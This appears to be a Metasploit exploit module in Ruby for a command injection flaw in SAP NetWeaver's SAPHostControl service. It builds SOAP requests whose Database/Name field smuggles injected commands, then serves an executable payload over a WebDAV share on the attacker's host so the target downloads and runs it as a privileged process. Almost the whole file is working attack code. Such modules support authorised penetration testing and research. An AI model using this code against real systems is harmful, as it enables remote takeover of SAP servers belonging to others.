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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize super( 'Name' => 'SAP NetWeaver HostControl Command Injection', 'Description' => %q{ This module exploits a command injection vulnerability in the SAPHostControl Service, by sending a specially crafted SOAP request to the management console. In order to deal with the spaces and length limitations, a WebDAV service is created to run an arbitrary payload when accessed as a UNC path. Because of this, the target host must have the WebClient service (WebDAV Mini-Redirector) enabled. It is enabled and automatically started by default on Windows XP SP3, but disabled by default on Windows 2003 SP2. }, 'Author'=> [ 'Michael Jordon', # Vulnerability discovery and PoC 'juan vazquez' # Metasploit module ], 'Platform'=> 'win', 'References'=> [ [ 'OSVDB', '84821'], [ 'URL', 'http://www.contextis.com/research/blog/sap4/' ], [ 'URL', 'https://websmp130.sap-ag.de/sap/support/notes/1341333' ] # Authentication Required ], 'Targets' => [ [ 'SAP NetWeaver 7.02 SP6 / Windows with WebClient enabled', { } ], ], 'DefaultTarget'=> 0, 'Privileged' => true, 'DisclosureDate' => 'Aug 14 2012' ) register_options( [ Opt::RPORT(1128), OptString.new('URIPATH', [ true, "The URI to use (do not change)", "/" ]), OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]), ], self.class) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) case request.method when 'OPTIONS' process_options(cli, request) when 'PROPFIND' process_propfind(cli, request) when 'GET' process_get(cli, request) else vprint_status("#{request.method} => 404 (#{request.uri})") resp = create_response(404, "Not Found") resp.body = "" resp['Content-Type'] = 'text/html' cli.send_response(resp) end end def process_get(cli, request) if blacklisted_path?(request.uri) vprint_status("GET => 404 [BLACKLIST] (#{request.uri})") resp = create_response(404, "Not Found") resp.body = "" cli.send_response(resp) return end if (request.uri.include? @basename) print_status("GET => Payload") return if ((p = regenerate_payload(cli)) == nil) data = generate_payload_exe({ :code => p.encoded }) send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return end # Treat index.html specially if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i) vprint_status("GET => REDIRECT (#{request.uri})") resp = create_response(200, "OK") resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=#{@exploit_unc}#{@share_name}\\"></head><body></body></html>| resp['Content-Type'] = 'text/html' cli.send_response(resp) return end # Anything else is probably a request for a data file... vprint_status("GET => DATA (#{request.uri})") data = "HELLO!" send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) end # # OPTIONS requests sent by the WebDav Mini-Redirector # def process_options(cli, request) vprint_status("OPTIONS #{request.uri}") headers = { 'MS-Author-Via' => 'DAV', 'DASL'=> '<DAV:sql>', 'DAV' => '1, 2', 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH', 'Public'=> 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK', 'Cache-Control' => 'private' } resp = create_response(207, "Multi-Status") headers.each_pair {|k,v| resp[k] = v } resp.body = "" resp['Content-Type'] = 'text/xml' cli.send_response(resp) end # # PROPFIND requests sent by the WebDav Mini-Redirector # def process_propfind(cli, request) path = request.uri vprint_status("PROPFIND #{path}") if path !~ /\/$/ if blacklisted_path?(path) vprint_status "PROPFIND => 404 (#{path})" resp = create_response(404, "Not Found") resp.body = "" cli.send_response(resp) return end if path.index(".") vprint_status "PROPFIND => 207 File (#{path})" body = %Q|<?xml version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/"> <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}</D:href> <D:propstat> <D:prop> <lp1:resourcetype/> <lp1:creationdate>#{gen_datestamp}</lp1:creationdate> <lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength> <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <lp2:executable>T</lp2:executable> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>application/octet-stream</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> </D:multistatus> | # send the response resp = create_response(207, "Multi-Status") resp.body = body resp['Content-Type'] = 'text/xml; charset="utf8"' cli.send_response(resp) return else vprint_status "PROPFIND => 301 (#{path})" resp = create_response(301, "Moved") resp["Location"] = path + "/" resp['Content-Type'] = 'text/html' cli.send_response(resp) return end end vprint_status "PROPFIND => 207 Directory (#{path})" body = %Q|<?xml version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/"> <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}</D:href> <D:propstat> <D:prop> <lp1:resourcetype><D:collection/></lp1:resourcetype> <lp1:creationdate>#{gen_datestamp}</lp1:creationdate> <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>httpd/unix-directory</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> | if request["Depth"].to_i > 0 trail = path.split("/") trail.shift case trail.length when 0 body << generate_shares(path) when 1 body << generate_files(path) end else vprint_status "PROPFIND => 207 Top-Level Directory" end body << "</D:multistatus>" body.gsub!(/\t/, '') # send the response resp = create_response(207, "Multi-Status") resp.body = body resp['Content-Type'] = 'text/xml; charset="utf8"' cli.send_response(resp) end def generate_shares(path) share_name = @share_name %Q| <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}#{share_name}/</D:href> <D:propstat> <D:prop> <lp1:resourcetype><D:collection/></lp1:resourcetype> <lp1:creationdate>#{gen_datestamp}</lp1:creationdate> <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>httpd/unix-directory</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> | end def generate_files(path) trail = path.split("/") return "" if trail.length < 2 base= @basename exts= @extensions.gsub(",", " ").split(/\s+/) files = "" exts.each do |ext| files << %Q| <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}#{base}.#{ext}</D:href> <D:propstat> <D:prop> <lp1:resourcetype/> <lp1:creationdate>#{gen_datestamp}</lp1:creationdate> <lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength> <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <lp2:executable>T</lp2:executable> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>application/octet-stream</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> <D:ishidden b:dt="boolean">1</D:ishidden> </D:propstat> </D:response> | end files end def gen_timestamp(ttype=nil) ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT") end def gen_datestamp(ttype=nil) ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ") end # This method rejects requests that are known to break exploitation def blacklisted_path?(uri) share_path = "/#{@share_name}" payload_path = "#{share_path}/#{@basename}.exe" case uri when payload_path return false when share_path return false else return true end end def check @peer = "#{rhost}:#{rport}" soap = <<-eos <?xml version="1.0" encoding="utf-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema"> <SOAP-ENV:Header> <sapsess:Session xmlns:sapsess="http://www.sap.com/webas/630/soap/features/session/"> <enableSession>true</enableSession> </sapsess:Session> </SOAP-ENV:Header> <SOAP-ENV:Body> <ns1:GetDatabaseStatus xmlns:ns1='urn:SAPHostControl'> <aArguments> <item> <mKey>Database/Type</mKey> <mValue>ada</mValue> </item> <item> <mKey>Database/Password</mKey> <mValue>#{rand_text_alphanumeric(8)}</mValue> </item> <item> <mKey>Database/Username</mKey> <mValue>control</mValue> </item> <item> <mKey>Database/Name</mKey> <mValue>NSP \-o c:\\#{rand_text_alpha_lower(4)}.txt \-n #{rand_text_alpha_lower(8)} !#{rand_text_alpha_lower(8)} </mValue> </item> </aArguments> </ns1:GetDatabaseStatus> </SOAP-ENV:Body> </SOAP-ENV:Envelope> eos print_status("#{@peer} - Testing command injection...") res = send_request_cgi({ 'uri'=> '/', 'method' => 'POST', 'ctype'=> 'text/xml; charset=utf-8', 'headers' => { 'SOAPAction' => "\"\"", }, 'data' => soap, }, 10) if (res and res.code == 500 and res.body =~ /Generic error/) return CheckCode::Appears else return CheckCode::Safe end end def exploit @basename = rand_text_alpha(3) @share_name = rand_text_alpha(3) @extensions = "exe" @system_commands_file = rand_text_alpha_lower(4) myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'] @exploit_unc= "\\\\#{myhost}\\" if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') end vprint_status("Payload available at #{@exploit_unc}#{@share_name}\\#{@basename}.exe") @peer = "#{rhost}:#{rport}" soap = <<-eos <?xml version="1.0" encoding="utf-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema"> <SOAP-ENV:Header> <sapsess:Session xmlns:sapsess="http://www.sap.com/webas/630/soap/features/session/"> <enableSession>true</enableSession> </sapsess:Session> </SOAP-ENV:Header> <SOAP-ENV:Body> <ns1:GetDatabaseStatus xmlns:ns1='urn:SAPHostControl'> <aArguments> <item> <mKey>Database/Type</mKey> <mValue>ada</mValue> </item> <item> <mKey>Database/Password</mKey> <mValue>#{rand_text_alphanumeric(8)}</mValue> </item> <item> <mKey>Database/Username</mKey> <mValue>control</mValue> </item> <item> <mKey>Database/Name</mKey> <mValue>NSP \-o c:\\#{@system_commands_file}.txt \-n #{rand_text_alpha_lower(8)} !#{@exploit_unc}#{@share_name}\\#{@basename}.exe </mValue> </item> </aArguments> </ns1:GetDatabaseStatus> </SOAP-ENV:Body> </SOAP-ENV:Envelope> eos print_status("#{@peer} - Injecting system commands...") res = send_request_cgi({ 'uri'=> '/', 'method' => 'POST', 'ctype'=> 'text/xml; charset=utf-8', 'headers' => { 'SOAPAction' => "\"\"", }, 'data' => soap, }, 10) if (res and res.code == 500 and res.body =~ /Generic error/) print_good("#{@peer} - System command successfully injected") else print_error("#{@peer} - Failed to inject system command") return end soap = <<-eos <?xml version="1.0" encoding="utf-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema"> <SOAP-ENV:Header> <sapsess:Session xmlns:sapsess="http://www.sap.com/webas/630/soap/features/session/"> <enableSession>true</enableSession> </sapsess:Session> </SOAP-ENV:Header> <SOAP-ENV:Body> <ns1:GetDatabaseStatus xmlns:ns1='urn:SAPHostControl'> <aArguments> <item> <mKey>Database/Type</mKey> <mValue>ada</mValue> </item> <item> <mKey>Database/Password</mKey> <mValue>#{rand_text_alphanumeric(8)}</mValue> </item> <item> <mKey>Database/Username</mKey> <mValue>control</mValue> </item> <item> <mKey>Database/Name</mKey> <mValue>NSP \-ic c:\\#{@system_commands_file}.txt</mValue> </item> </aArguments> </ns1:GetDatabaseStatus> </SOAP-ENV:Body> </SOAP-ENV:Envelope> eos print_status("#{@peer} - Executing injected command") res = send_request_cgi({ 'uri'=> '/', 'method' => 'POST', 'ctype'=> 'text/xml; charset=utf-8', 'headers' => { 'SOAPAction' => "\"\"", }, 'data' => soap, }, 1) if res print_error("#{@peer} - Failed to execute injected command") return end super end end |
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